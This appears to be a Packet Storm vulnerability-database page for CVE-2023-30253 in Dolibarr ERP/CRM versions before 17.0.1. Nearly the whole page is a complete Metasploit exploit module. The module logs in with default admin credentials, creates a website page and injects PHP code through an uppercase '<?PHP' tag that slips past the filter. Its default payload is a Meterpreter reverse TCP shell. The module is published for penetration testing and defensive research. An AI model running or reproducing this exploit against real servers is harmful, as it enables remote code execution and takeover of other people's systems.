PACKETSTORM 8.8 HIGH

📄 Dolibarr ERP/CRM Authenticated Code Injection_PACKETSTORM:221085

8.8 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

Dolibarr ERP/CRM versions prior to 17.0.1 allow remote code execution by an authenticated user who has access to the Website module...
Visit Original Source

Basic Information

ID PACKETSTORM:221085
Published May 14, 2026 at 00:00

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dolibarr ERP/CRM Authenticated Code Injection',
'Description' => %q{
Dolibarr ERP/CRM before 17.0.1 allows remote code execution by an
authenticated user who has access to the Website module. The
application filters lowercase `<?php` tags to prevent PHP code
injection in website page content, but this check can be bypassed
by using an uppercase variant such as `<?PHP`. This
allows injecting arbitrary PHP code that is executed when the
website page is rendered. Versions prior to 17.0.1 are known to
be vulnerable. The vulnerability was fixed in version 17.0.1.
},
'License' => MSF_LICENSE,
'Author' => [
'Tinexta Cyber Offensive Security Team', # Discovery
'Emanuele Cervelli' # Metasploit module
],
'References' => [
['CVE', '2023-30253'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-30253'],
['URL', 'https://www.swascan.com/security-advisory-dolibarr-17-0-0/']
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Privileged' => false,
'Targets' => [
[
'PHP Meterpreter',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
}
}
]
],
'DisclosureDate' => '2023-05-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'Dolibarr username', 'admin']),
OptString.new('PASSWORD', [true, 'Dolibarr password', 'admin']),
OptString.new('TARGETURI', [true, 'Base path to Dolibarr', '/'])
]
)
end

def referer(path)
proto = datastore['SSL'] ? 'https' : 'http'
"#{proto}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, path)}"
end

def get_csrf_token(path, referer: nil)
headers = {}
headers['Referer'] = referer if referer

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, path),
'method' => 'GET',
'keep_cookies' => true,
'headers' => headers
)

return nil if res.nil?

html = res.get_html_document
token_meta = html.at('meta[@name="anti-csrf-newtoken"]')
return token_meta['content'] if token_meta

token_input = html.at('input[@name="token"]')
return token_input['value'] if token_input

nil
end

def login
token = get_csrf_token('index.php')
fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token from login page') if token.nil?

vprint_status("Attempting login as #{datastore['USERNAME']}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => {
'Referer' => referer('index.php')
},
'vars_post' => {
'token' => token,
'actionlogin' => 'login',
'loginfunction' => 'loginfunction',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)

fail_with(Failure::Unreachable, 'No response received during login') if res.nil?
fail_with(Failure::NoAccess, 'Login failed - invalid credentials') if res.body.include?('Bad value for login or password')

print_good('Successfully authenticated to Dolibarr')
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)

return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
return CheckCode::Safe('Target does not appear to be running Dolibarr') unless res.body.downcase.include?('dolibarr')

version = nil
if res.body =~ /Dolibarr\s+(\d+\.\d+\.\d+)/i
version = ::Regexp.last_match(1)
end

if version
ver = Rex::Version.new(version)
if ver < Rex::Version.new('17.0.1')
return CheckCode::Appears("Vulnerable version detected: #{version}")
else
return CheckCode::Safe("Not vulnerable, version detected: #{version}")
end
end

CheckCode::Detected('Dolibarr detected but version could not be determined')
end

def create_website
@website_name = Rex::Text.rand_text_alpha_lower(8)
vprint_status("Creating website: #{@website_name}")
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))

fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for website creation') if token.nil?

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'action' => 'addsite',
'website' => '-1',
'WEBSITE_REF' => @website_name,
'WEBSITE_LANG' => 'en',
'addcontainer' => 'Create'
}
)

fail_with(Failure::Unreachable, 'No response when creating website') if res.nil?
fail_with(Failure::NotVulnerable, 'Website module is not enabled') if res.body.include?('Access denied')

print_good("Website '#{@website_name}' created")
@website_created = true
end

def create_page
@page_name = Rex::Text.rand_text_alpha_lower(6)
vprint_status("Creating page: #{@page_name}")
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for page creation') if token.nil?

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'action' => 'addcontainer',
'website' => @website_name,
'radiocreatefrom' => 'checkboxcreatemanually',
'WEBSITE_TYPE_CONTAINER' => 'page',
'sample' => 'empty',
'WEBSITE_TITLE' => @page_name,
'WEBSITE_PAGENAME' => @page_name,
'WEBSITE_LANG' => 'en',
'addcontainer' => 'Create'
}
)

fail_with(Failure::Unreachable, 'No response when creating page') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

html = res.get_html_document
page_option = html.at('select[@name="pageid"] option[selected]')
fail_with(Failure::UnexpectedReply, 'Could not find page ID') if page_option.nil?

@page_id = page_option['value']
fail_with(Failure::UnexpectedReply, 'Could not find page ID') if @page_id.to_s.empty?

print_good("Page '#{@page_name}' created with ID #{@page_id}")
end

def inject_and_trigger
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
fail_with(Failure::UnexpectedReply, 'Could not get CSRF token') if token.nil?

section_id = Rex::Text.rand_text_alpha_lower(8)
page_content = %(<section id="#{section_id}" contenteditable="true"><?PHP #{payload.encoded}; ?></section>)

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'backtopage' => '',
'dol_openinpopup' => '',
'action' => 'updatesource',
'website' => @website_name,
'pageid' => @page_id,
'update' => 'Save',
'PAGE_CONTENT' => page_content
}
)

fail_with(Failure::Unreachable, 'No response when injecting payload') if res.nil?

print_good('Payload injected, triggering...')

send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'public', 'website', 'index.php'),
'method' => 'GET',
'vars_get' => {
'website' => @website_name,
'pageref' => @page_name
}
}, 5)
end

def get_website_id
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'GET',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_get' => {
'action' => 'deletesite',
'token' => token,
'website' => @website_name
}
)

return nil if res.nil?

match = res.body.match(%r{/website/index\.php\?id=(\d+)&action=confirm_deletesite})
return match[1] if match

nil
end

def delete_page
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_post' => {
'token' => token,
'backtopage' => '',
'website' => @website_name,
'pageid' => @page_id,
'delete' => 'Delete'
}
)
end

def delete_website
website_id = get_website_id
return if website_id.nil?

token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
'method' => 'GET',
'keep_cookies' => true,
'headers' => { 'Referer' => referer('website/index.php') },
'vars_get' => {
'id' => website_id,
'action' => 'confirm_deletesite',
'confirm' => 'yes',
'token' => token,
'delete_also_js' => '',
'delete_also_medias' => ''
}
)
end

def cleanup
super

return unless @website_created

begin
vprint_status("Cleaning up website '#{@website_name}'")
delete_page if @page_id
delete_website
print_good("Website '#{@website_name}' deleted")
rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout => e
print_warning("Cleanup failed: #{e.message}")
end
end

def exploit
login
create_website
create_page

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

inject_and_trigger
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.